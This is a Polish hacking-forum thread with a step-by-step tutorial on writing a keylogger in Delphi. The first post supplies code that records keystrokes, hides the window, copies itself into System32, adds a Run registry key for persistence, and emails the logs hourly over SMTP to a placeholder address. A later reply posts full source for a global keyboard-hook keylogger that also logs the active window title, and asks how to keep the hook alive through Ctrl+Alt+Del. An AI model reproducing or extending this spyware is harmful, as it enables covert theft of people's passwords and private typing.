Keylogger w delphi...

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
Witam.
Chciałbym opisać pisanie keyloggera w delphi. Mam nadzieję, że się przyda, mimo iż nie będzie on super-hiper dobry,
ponieważ to tutorial, przykład...
Oparty on będzie na Keyspyxp - komponencie przeznaczonym do przechwytywania wciśniętych klawiszy.
Potrzebne komponenty:

Memo
keyspyxp
idmessage
idsmtp
timer.[/b]

Czyli, postaw na początek, na formę Keyspyxp.
Wpisz pomiędzy begin, a end:
Kod:
memo1.text := memo1.text + key;
memo1.text:=Stringreplace(memo1.Text,'{ENTER}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RightMouseButton}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LeftMouseButton}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{DELETE}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{Alt}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{shift}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{ctrl}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{TAB}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT SHIFT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{UP}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{DOWN}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F1}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F2}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F3}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F4}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F5}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F6}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F7}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F8}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F9}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F10}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F11}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{F12}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT CONTROL}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT ALT}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{BACKSPACE}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{LEFT CONTROL}','',[rfreplaceall]);
memo1.text:=Stringreplace(memo1.Text,'{RIGHT ALT}','',[rfreplaceall]);

Rejestr:
Wpisz pod:

Kod:
implementation

{$R *.dfm}

Ten kawałek kodu:

Kod:
procedure Tform1.Rejestr;
var
 Rejestr:TRegistry;
begin
  copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\System32\keylogger.exe'),true)
  Rejestr:=TRegistry.Create;
  Rejestr.RootKey:=(HKEY_CURRENT_USER);
  Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',False);
  Rejestr.WriteString('keylogger', 'C:\WINDOWS\System32\keylogger.exe');                                   
  Rejestr.Free;
end;

A nad private:

procedure Rejestr;

Wygeneruj zdarzenie OnCreate formy i wpisz:

Kod:
Application.showmainform:=false;

Teraz wysyłanie klawiszy:

Postaw na formę timer:
I wpisz:
Kod:
 IdMessage1.Body.Append(memo1.text);
 IdMessage1.Recipients.EMailAddresses := 'Odbiorca';
 IdMessage1.Subject := 'Log';
 IdMessage1.From.name := 'Keylogger';
 IdMessage1.From.Address :='email serwera...';
 idSMTP1.Password := 'haslo serwera';
 idSMTP1.Username := 'login serwera';
 idSMTP1.Host := 'host';
 idSMTP1.AuthenticationType:=atLogin;
 IdSMTP1.Connect;
 try
  IdSMTP1.Send(IdMessage1);
 finally
idmessage1.body.Clear;
   memo1.lines.Clear;

Interval ustaw na 3600000 - czyli logi beda wysylane co 1 h...

I oto cała filozofia
<

Mimo to masz problem...? Pisz w temacie, pomoge.
Pozdrawiam, Bezel21.
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104
<div class='quotetop'>CYTAT(0wn3r @ 11.09.2008, 19:12) <{POST_SNAPBACK}></div>
Dobra robota, tylko szkoda że tutorial tego keylogger'a jest oparty na komponencie Keyspyxp..[/b]

Chciałem zrobić opartego na hooku, ale pomyślałem, że początkujący nic z tego nie zrozumieją więc zostałem przy KeySpyXp.
 

I3L4D3

Użytkownik
Dołączył
Styczeń 20, 2008
Posty
178
Taaa... Na pewno da debuga - ponieważ [0] nie istnieje... :]

A koleżko - opisz jeszcze (jako oddzielny temacik) opartego na hooku :]


Nie mówię że mi by się przydał - ale kiedyś, za bardzo dawnych czasów szukałem i nie mogłem znaleźć... Ale to inna historia...
<
 

Bezel21

Użytkownik
Dołączył
Maj 22, 2007
Posty
104

HKN

Użytkownik
Dołączył
Listopad 13, 2008
Posty
46
No dobra pozwolę sobię ''odkopać'' temat
smile.gif

Dlaczego przechwytuje mi klawisze tylko po jednym ?

Kod:
>>>>> KAMP(Zaraz wracam) <<<<<    2008-11-13  -  23:04:54
h
           
>>>>> KAMP(Zaraz wracam) <<<<<    2008-11-13  -  23:04:54
a
           
>>>>> KAMP(Zaraz wracam) <<<<<    2008-11-13  -  23:04:54
k
           
>>>>> KAMP(Zaraz wracam) <<<<<    2008-11-13  -  23:04:55
e
           
>>>>> KAMP(Zaraz wracam) <<<<<    2008-11-13  -  23:04:55
r

Kod źródłowy programu (nie całego
<
):


Do przechwytywania klawiszy :
Kod:
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
     memo1.text := memo1.text + key;
naglowek := (NT_InternalGetWindowText(GetForegroundWindow)); // pobieramy teskt aktywanego okna (nagłówek)
        Form1.Memo1.Lines.Add('           ');
        Form1.Memo1.Lines.Add('>>>>> '+naglowek+' <<<<<    '+DateToStr(Date)+'  -  '+TimeToStr(Time));
        Form1.Memo1.Lines.Add('');

Funkcja do zczytywania okna procesu :
Kod:
function NT_InternalGetWindowText(Wnd: HWND): string;               //
type                                                                //
 TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;  //
  nMaxCount: Integer): Integer;                                     //
 stdcall;                                                           //
var                                                                 // pobranie tekstu
 hUserDll: THandle;                                                 // aktywnego okna
 InternalGetWindowText: TInternalGetWindowText;                     //
 lpString: array[0..MAX_PATH] of WideChar;                          //
                                              //
begin                                                               //
 Result  := '';                                                     //
 hUserDll := GetModuleHandle('user32.dll');                         //
 if (hUserDll > 0) then                                             //
 begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
  if Assigned(InternalGetWindowText) then                           //
  begin                                                             //
   InternalGetWindowText(Wnd, lpString, SizeOf(lpString));          //
   Result := string(lpString);                                      //
  end;                                                              //
 end;                                                               //
end;                                                                //


Kod:
// Keylogger (keyboard hook)
// powered by astRX
// [url]www.astrx.neth.pl[/url]
//
// Uwaga - kombinacja CTRL+ALT+DEL zrywa hooka!!!


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Edit1: TEdit;
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);


  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Hook:Integer;
  MMBB:TEventMsg;
  literka:string;
  naglowek:string;

implementation

{$R *.dfm}

function NT_InternalGetWindowText(Wnd: HWND): string;               //
type                                                                //
 TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;  //
  nMaxCount: Integer): Integer;                                     //
 stdcall;                                                           //
var                                                                 // pobranie tekstu
 hUserDll: THandle;                                                 // aktywnego okna
 InternalGetWindowText: TInternalGetWindowText;                     //
 lpString: array[0..MAX_PATH] of WideChar;                          //
                                              //
begin                                                               //
 Result  := '';                                                     //
 hUserDll := GetModuleHandle('user32.dll');                         //
 if (hUserDll > 0) then                                             //
 begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
  if Assigned(InternalGetWindowText) then                           //
  begin                                                             //
   InternalGetWindowText(Wnd, lpString, SizeOf(lpString));          //
   Result := string(lpString);                                      //
  end;                                                              //
 end;                                                               //
end;                                                                //


function KLog(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin


case Code of
HC_ACTION: begin
MMBB := PEventMsg(lParam)^;

if MMBB.message = wm_KeyDown then
begin

naglowek := (NT_InternalGetWindowText(GetForegroundWindow)); // pobieramy teskt aktywanego okna (nagłówek)

      if Form1.Edit1.Text <> naglowek then   // jesli Edit1.Text (poprzedni nagłówek) jest różny od obecnego to
        begin                                //  do Memo dodajemy obecny nagłówek
        Form1.Memo1.Lines.Add('           ');
        Form1.Memo1.Lines.Add('>>>>> '+naglowek+' <<<<<    '+DateToStr(Date)+'  -  '+TimeToStr(Time));
        Form1.Memo1.Lines.Add('');
        end;

literka := chr(MMBB.paraml);

case MMBB.paramh of
   1 : Form1.Memo1.Text := Form1.Memo1.Text + '<ESCAPE>';
  14 : Form1.Memo1.Text:= copy(Form1.Memo1.Text, 1, length(Form1.Memo1.Text)-1); // BACKSPACE
  15 : Form1.Memo1.Lines.Add('');  // TAB
  28 : Form1.Memo1.Lines.Add('');  // ENTER
  57 : Form1.Memo1.Text := Form1.Memo1.Text + ' '; // SPACJA
  125 : Form1.Memo1.Text := Form1.Memo1.Text + '<M>';
  

  16..25: //Q-P
      if Odd(GetKeyState(VK_CAPITAL)) then
      if GetKeyState(VK_SHIFT) < 0 then
      Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
      else
      Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
      else
      if GetKeyState(VK_SHIFT) < 0 then
      Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
      else
      Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);

  30..38: //A-L
      if Odd(GetKeyState(VK_CAPITAL)) then
      if GetKeyState(VK_SHIFT) < 0 then
      Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
      else
      Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
      else
      if GetKeyState(VK_SHIFT) < 0 then
      Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
      else
      Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);

  44..50: //Z-M
      if Odd(GetKeyState(VK_CAPITAL)) then
      if GetKeyState(VK_SHIFT) < 0 then
      Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
      else
      Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
      else
      if GetKeyState(VK_SHIFT) < 0 then
      Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
      else
      Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);



  41:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '~'
      else Form1.Memo1.Text := Form1.Memo1.Text + '`';
  2:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '!'
      else Form1.Memo1.Text := Form1.Memo1.Text + '1';
  3:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '@'
      else Form1.Memo1.Text := Form1.Memo1.Text + '2';
  4:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '#'
      else Form1.Memo1.Text := Form1.Memo1.Text + '3';
  5:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '$'
      else Form1.Memo1.Text := Form1.Memo1.Text + '4';
  6:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '%'
      else Form1.Memo1.Text := Form1.Memo1.Text + '5';
  7:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '^'
      else Form1.Memo1.Text := Form1.Memo1.Text + '6';
  8:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '&'
      else Form1.Memo1.Text := Form1.Memo1.Text + '7';
  9:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '*'
      else Form1.Memo1.Text := Form1.Memo1.Text + '8';
 10:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '('
      else Form1.Memo1.Text := Form1.Memo1.Text + '9';
 11:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ')'
      else Form1.Memo1.Text := Form1.Memo1.Text + '0';
 12:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '_'
      else Form1.Memo1.Text := Form1.Memo1.Text + '-';
 13:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '+'
      else Form1.Memo1.Text := Form1.Memo1.Text + '=';
 26:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '{'
      else Form1.Memo1.Text := Form1.Memo1.Text + '[';
 27:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '}'
      else Form1.Memo1.Text := Form1.Memo1.Text + ']';
 39:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ':'
      else Form1.Memo1.Text := Form1.Memo1.Text + ';';
 40:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '"'
      else Form1.Memo1.Text := Form1.Memo1.Text + '`';
 51:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '<'
      else Form1.Memo1.Text := Form1.Memo1.Text + ',';
 52:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '>'
      else Form1.Memo1.Text := Form1.Memo1.Text + '.';
 53:  if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '?'
      else Form1.Memo1.Text := Form1.Memo1.Text + '/';


 71:  Form1.Memo1.Text := Form1.Memo1.Text + '7';
 72:  Form1.Memo1.Text := Form1.Memo1.Text + '8';
 73:  Form1.Memo1.Text := Form1.Memo1.Text + '9';
 75:  Form1.Memo1.Text := Form1.Memo1.Text + '4';
 76:  Form1.Memo1.Text := Form1.Memo1.Text + '5';
 77:  Form1.Memo1.Text := Form1.Memo1.Text + '6';
 79:  Form1.Memo1.Text := Form1.Memo1.Text + '1';
 80:  Form1.Memo1.Text := Form1.Memo1.Text + '2';
 81:  Form1.Memo1.Text := Form1.Memo1.Text + '3';
 82:  Form1.Memo1.Text := Form1.Memo1.Text + '0';

 83:  Form1.Memo1.Text := Form1.Memo1.Text + ',';
 78:  Form1.Memo1.Text := Form1.Memo1.Text + '+';
 74:  Form1.Memo1.Text := Form1.Memo1.Text + '-';
 55:  Form1.Memo1.Text := Form1.Memo1.Text + '*';

end;
end;
end;
end;

Form1.Edit1.Text:=naglowek;  // do Edit przypisujemy obecny nagłówek
end;


procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // zdejmujemy hooka
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
    Hook := SetWindowsHookEx(wh_journalrecord, KLog, HInstance, 0); // na starcie formy zakładamy hooka na klawiaturę

end;

end.

Nie da się przekształcić tego kodu tak by pozbyć się tego, gdy uruchomię kombinację klawiszy CTLR+ALT+DEL to się hook zwlania ?

keyspyxp sux, teraz próbuję założyć globalnego hooka u siebie ale... no właśnie ale ten CTRL+ALT+DEL wszystko psuje..
 

I3L4D3

Użytkownik
Dołączył
Styczeń 20, 2008
Posty
178
Musisz sobie gdzieś zapisać poprzedni nagłówek okna - a potem sprawdzić czy nagłówek się zmienił - jeżeli nie - to dopisz tekst, jeżeli tak - to dopisz nagłówek i tekst... ;D
 
Do góry Bottom